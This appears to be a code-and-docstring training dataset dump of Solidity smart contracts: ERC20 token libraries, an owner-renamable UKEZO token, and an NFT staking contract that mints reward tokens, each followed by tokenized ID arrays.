function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
//Roles
/**
* @title Roles
* @dev Library for managing addresses assigned to a Role.
*/
library Roles {
struct Role {
mapping (address => bool) bearer;
}
/**
* @dev Give an account access to this role.
*/
function add(Role storage role, address account) internal {
require(!has(role, account), "Roles: account already has role");
role.bearer[account] = true;
}
/**
* @dev Remove an account's access to this role.
*/
function remove(Role storage role, address account) internal {
require(has(role, account), "Roles: account does not have role");
role.bearer[account] = false;
}
/**
* @dev Check if an account has this role.
* @return bool
*/
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0), "Roles: account is the zero address");
return role.bearer[account];
}
}
//ERC20Detailed
/**
* @dev Optional functions from the ERC20 standard.
*/
contract ERC20Detailed {
string internal _name;
string internal _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for `name`, `symbol`, and `decimals`. All three of
* these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
}
//context
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
//Ownable
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Returns true if the caller is the current owner.
*/
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
//ERC20
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20Mintable}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context{
using SafeMath for uint256;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 _totalSupply;
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
emit Mint(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
emit Burn(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See {_burn} and {_approve}.
*/
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
event Mint(address indexed owner, address indexed spender, uint256 value);
event Burn(address indexed owner, address indexed spender, uint256 value);
}
//UKEZO
contract UKEZO is ERC20,ERC20Detailed,Ownable{
constructor(
uint256 maximumcoin,
string memory name,
string memory symbol,
uint8 decimals
)public ERC20Detailed(name, symbol, decimals){
_totalSupply = _balances[msg.sender] = maximumcoin;
}
function changeName(string memory newName, string memory newSymbol) public onlyOwner {
_name = newName;
_symbol = newSymbol;
}
} | * @dev Optional functions from the ERC20 standard./ | contract ERC20Detailed {
string internal _name;
string internal _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
| 1,542,436 | [
1,
6542,
4186,
628,
326,
4232,
39,
3462,
4529,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
16351,
4232,
39,
3462,
40,
6372,
288,
203,
565,
533,
2713,
389,
529,
31,
203,
565,
533,
2713,
389,
7175,
31,
203,
565,
2254,
28,
3238,
389,
31734,
31,
203,
203,
203,
565,
3885,
261,
1080,
3778,
508,
16,
533,
3778,
3273,
16,
2254,
28,
15105,
13,
1071,
288,
203,
3639,
389,
529,
273,
508,
31,
203,
3639,
389,
7175,
273,
3273,
31,
203,
3639,
389,
31734,
273,
15105,
31,
203,
565,
289,
203,
203,
565,
445,
508,
1435,
1071,
1476,
1135,
261,
1080,
3778,
13,
288,
203,
3639,
327,
389,
529,
31,
203,
565,
289,
203,
203,
565,
445,
3273,
1435,
1071,
1476,
1135,
261,
1080,
3778,
13,
288,
203,
3639,
327,
389,
7175,
31,
203,
565,
289,
203,
203,
565,
445,
15105,
1435,
1071,
1476,
1135,
261,
11890,
28,
13,
288,
203,
3639,
327,
389,
31734,
31,
203,
565,
289,
203,
377,
203,
97,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/1/0xC3B7f60306447FE6A987c2DB240F7c611ADe7D4a/sources/SETToken.sol | * Get number of tokens currently belonging to given owner. @param _owner address to get number of tokens currently belonging to the owner of @return number of tokens currently belonging to the owner of given address/ | function balanceOf (address _owner)
public delegatable view returns (uint256 balance) {
return accountsConverted[_owner] ? AbstractToken.balanceOf (_owner) : safeMul(AbstractToken.balanceOf (_owner), 1e16);
}
| 15,501,369 | [
1,
967,
1300,
434,
2430,
4551,
17622,
358,
864,
3410,
18,
225,
389,
8443,
1758,
358,
336,
1300,
434,
2430,
4551,
17622,
358,
326,
3639,
3410,
434,
327,
1300,
434,
2430,
4551,
17622,
358,
326,
3410,
434,
864,
1758,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
225,
445,
11013,
951,
261,
2867,
389,
8443,
13,
203,
565,
1071,
11158,
8163,
1476,
1135,
261,
11890,
5034,
11013,
13,
288,
203,
565,
327,
9484,
22063,
63,
67,
8443,
65,
692,
4115,
1345,
18,
12296,
951,
261,
67,
8443,
13,
294,
4183,
27860,
12,
7469,
1345,
18,
12296,
951,
261,
67,
8443,
3631,
404,
73,
2313,
1769,
203,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
//SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.13;
// Imports
import "./Ownable.sol";
import "./ReentrancyGuard.sol";
import "./IERC20.sol";
import "./IERC721.sol";
// MOD Interface
interface MODToken {
function mint(address recipient, uint256 amount) external;
}
/// @title MOD - Staking Contract
contract NFTStaking is Ownable, ReentrancyGuard {
// Staker details
struct Staker {
uint256[] tokenIds;
uint256 currentYield;
uint256 numberOfTokensStaked;
uint256 lastCheckpoint;
}
uint256 public constant SECONDS_IN_DAY = 24 * 60 * 60;
IERC721 public immutable nftContract;
MODToken public immutable rewardToken;
bool public stakingLaunched;
mapping(address => Staker) public stakers;
uint256 public lowYieldEndBound = 4;
uint256 public mediumYieldEndBound = 9;
uint256 public highYieldStartBound = 10;
uint256 public lowYieldPerSecond;
uint256 public mediumYieldPerSecond;
uint256 public highYieldPerSecond;
bytes4 private constant _ERC721_RECEIVED = 0x150b7a02;
mapping(uint256 => address) private _ownerOfToken;
event Deposit(address indexed staker, uint256 amount);
event Withdraw(address indexed staker, uint256 amount);
event Claim(address indexed staker, uint256 tokenAmount);
/// @dev The contract constructor
constructor(
IERC721 _nftContract,
MODToken _rewardToken,
uint256 _lowYieldPerDay,
uint256 _mediumYieldPerDay,
uint256 _highYieldPerDay
) {
rewardToken = _rewardToken;
nftContract = _nftContract;
lowYieldPerSecond = _lowYieldPerDay / SECONDS_IN_DAY;
mediumYieldPerSecond = _mediumYieldPerDay / SECONDS_IN_DAY;
highYieldPerSecond = _highYieldPerDay / SECONDS_IN_DAY;
}
/**
* @param _lowYieldEndBound The upper bound of the lowest range that produces low yield
* @param _lowYieldPerDay The amount of tokens in Wei that a user earns for each token in the lowest range per day
* @param _mediumYieldEndBound The upper bound of the medium range that produces medium yield
* @param _mediumYieldPerDay The amount of tokens in Wei that a user earns for each token in the medium range per day
* @param _highYieldStartBound The lower bound of the highest range that produces high yield
* @param _highYieldPerDay The amount of tokens in Wei that a user earns for each token in the highest range per day
* @dev Sets yield parameters
*/
function setYieldParams(
uint256 _lowYieldEndBound,
uint256 _lowYieldPerDay,
uint256 _mediumYieldEndBound,
uint256 _mediumYieldPerDay,
uint256 _highYieldStartBound,
uint256 _highYieldPerDay
) external onlyOwner {
lowYieldEndBound = _lowYieldEndBound;
lowYieldPerSecond = _lowYieldPerDay / SECONDS_IN_DAY;
mediumYieldEndBound = _mediumYieldEndBound;
mediumYieldPerSecond = _mediumYieldPerDay / SECONDS_IN_DAY;
highYieldStartBound = _highYieldStartBound;
highYieldPerSecond = _highYieldPerDay / SECONDS_IN_DAY;
}
/**
* @param tokenIds The list of token IDs to stake
* @dev Stakes NFTs
*/
function deposit(uint256[] memory tokenIds) external nonReentrant {
require(stakingLaunched, "Staking is not launched yet");
Staker storage staker = stakers[_msgSender()];
if (staker.numberOfTokensStaked > 0) {
uint256 rewards = getUnclaimedRewards(_msgSender());
_claimReward(_msgSender(), rewards);
}
for (uint256 i; i < tokenIds.length; i++) {
require(nftContract.ownerOf(tokenIds[i]) == _msgSender(), "Not the owner");
nftContract.safeTransferFrom(_msgSender(), address(this), tokenIds[i]);
_ownerOfToken[tokenIds[i]] = _msgSender();
staker.tokenIds.push(tokenIds[i]);
staker.numberOfTokensStaked += 1;
}
staker.currentYield = getTotalYieldPerSecond(staker.numberOfTokensStaked);
staker.lastCheckpoint = block.timestamp;
emit Deposit(_msgSender(), tokenIds.length);
}
/**
* @param tokenIds The list of token IDs to unstake
* @dev Withdraws NFTs
*/
function withdraw(uint256[] memory tokenIds) external nonReentrant {
Staker storage staker = stakers[_msgSender()];
if (staker.numberOfTokensStaked > 0) {
uint256 rewards = getUnclaimedRewards(_msgSender());
_claimReward(_msgSender(), rewards);
}
for (uint256 i; i < tokenIds.length; i++) {
require(nftContract.ownerOf(tokenIds[i]) == address(this), "Invalid tokenIds provided");
require(_ownerOfToken[tokenIds[i]] == _msgSender(), "Not the owner of one ore more provided tokens");
_ownerOfToken[tokenIds[i]] = address(0);
staker.tokenIds = _moveTokenToLast(staker.tokenIds, tokenIds[i]);
staker.tokenIds.pop();
staker.numberOfTokensStaked -= 1;
nftContract.safeTransferFrom(address(this), _msgSender(), tokenIds[i]);
}
staker.currentYield = getTotalYieldPerSecond(staker.numberOfTokensStaked);
staker.lastCheckpoint = block.timestamp;
emit Withdraw(_msgSender(), tokenIds.length);
}
/// @dev Transfers reward to a user
function claimReward() external nonReentrant {
Staker storage staker = stakers[_msgSender()];
if (staker.numberOfTokensStaked > 0) {
uint256 rewards = getUnclaimedRewards(_msgSender());
_claimReward(_msgSender(), rewards);
}
staker.lastCheckpoint = block.timestamp;
}
/**
* @param tokenIds The list of token IDs to withdraw
* @dev Withdraws ERC721 in case of emergency
*/
function emergencyWithdraw(uint256[] memory tokenIds) external onlyOwner {
require(tokenIds.length <= 50, "50 is max per tx");
for (uint256 i; i < tokenIds.length; i++) {
address receiver = _ownerOfToken[tokenIds[i]];
if (receiver != address(0) && nftContract.ownerOf(tokenIds[i]) == address(this)) {
nftContract.transferFrom(address(this), receiver, tokenIds[i]);
}
}
}
/// @dev Starts NFT staking program
function launchStaking() external onlyOwner {
require(!stakingLaunched, "Staking has been launched already");
stakingLaunched = true;
}
/**
* @param balance The balance of a user
* @dev Gets total yield per second of all staked tokens of a user
*/
function getTotalYieldPerSecond(uint256 balance) public view returns (uint256) {
if (balance == 0) {
return 0;
}
if (balance <= lowYieldEndBound) {
return balance * lowYieldPerSecond;
} else if (balance <= mediumYieldEndBound) {
return lowYieldEndBound * lowYieldPerSecond + (balance - lowYieldEndBound) * mediumYieldPerSecond;
} else if (balance >= highYieldStartBound) {
uint256 lowYieldAmount = lowYieldEndBound;
uint256 mediumYieldAmount = mediumYieldEndBound - lowYieldEndBound;
uint256 highYieldAmount = balance - lowYieldAmount - mediumYieldAmount;
return lowYieldAmount * lowYieldPerSecond + mediumYieldAmount * mediumYieldPerSecond + highYieldAmount * highYieldPerSecond;
}
return 0;
}
/**
* @param staker The address of a user
* @dev Calculates unclaimed reward of a user
*/
function getUnclaimedRewards(address staker) public view returns (uint256) {
if (stakers[staker].lastCheckpoint == 0) {
return 0;
}
return (block.timestamp - stakers[staker].lastCheckpoint) * stakers[staker].currentYield;
}
/**
* @param staker The address of a user
* @dev Returns all token IDs staked by a user
*/
function getStakedTokens(address staker) public view returns (uint256[] memory) {
return stakers[staker].tokenIds;
}
/**
* @param staker The address of a user
* @dev Returns the number of tokens staked by a user
*/
function getTotalStakedAmount(address staker) public view returns (uint256) {
return stakers[staker].numberOfTokensStaked;
}
/// @dev Gets called whenever an IERC721 tokenId token is transferred to this contract via IERC721.safeTransferFrom
function onERC721Received(
address,
address,
uint256,
bytes calldata data
) public returns (bytes4) {
return _ERC721_RECEIVED;
}
/**
* @param list The array of token IDs
* @param tokenId The token ID to move to the end of the array
* @dev Moves the element that matches tokenId to the end of the array
*/
function _moveTokenToLast(uint256[] memory list, uint256 tokenId) internal pure returns (uint256[] memory) {
uint256 tokenIndex = 0;
uint256 lastTokenIndex = list.length - 1;
uint256 length = list.length;
for (uint256 i = 0; i < length; i++) {
if (list[i] == tokenId) {
tokenIndex = i + 1;
break;
}
}
require(tokenIndex != 0, "msg.sender is not the owner");
tokenIndex -= 1;
if (tokenIndex != lastTokenIndex) {
list[tokenIndex] = list[lastTokenIndex];
list[lastTokenIndex] = tokenId;
}
return list;
}
/**
* @param staker The user address
* @param amount The amount of tokens to claim
* @dev Transfers reward to a user
*/
function _claimReward(address staker, uint256 amount) private {
rewardToken.mint(staker, amount);
emit Claim(staker, amount);
}
} | @dev Starts NFT staking program | function launchStaking() external onlyOwner {
require(!stakingLaunched, "Staking has been launched already");
stakingLaunched = true;
}
| 1,421,410 | [
1,
11203,
423,
4464,
384,
6159,
5402,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
225,
445,
8037,
510,
6159,
1435,
3903,
1338,
5541,
288,
203,
565,
2583,
12,
5,
334,
6159,
30745,
22573,
16,
315,
510,
6159,
711,
2118,
28786,
1818,
8863,
203,
565,
384,
6159,
30745,
22573,
273,
638,
31,
203,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
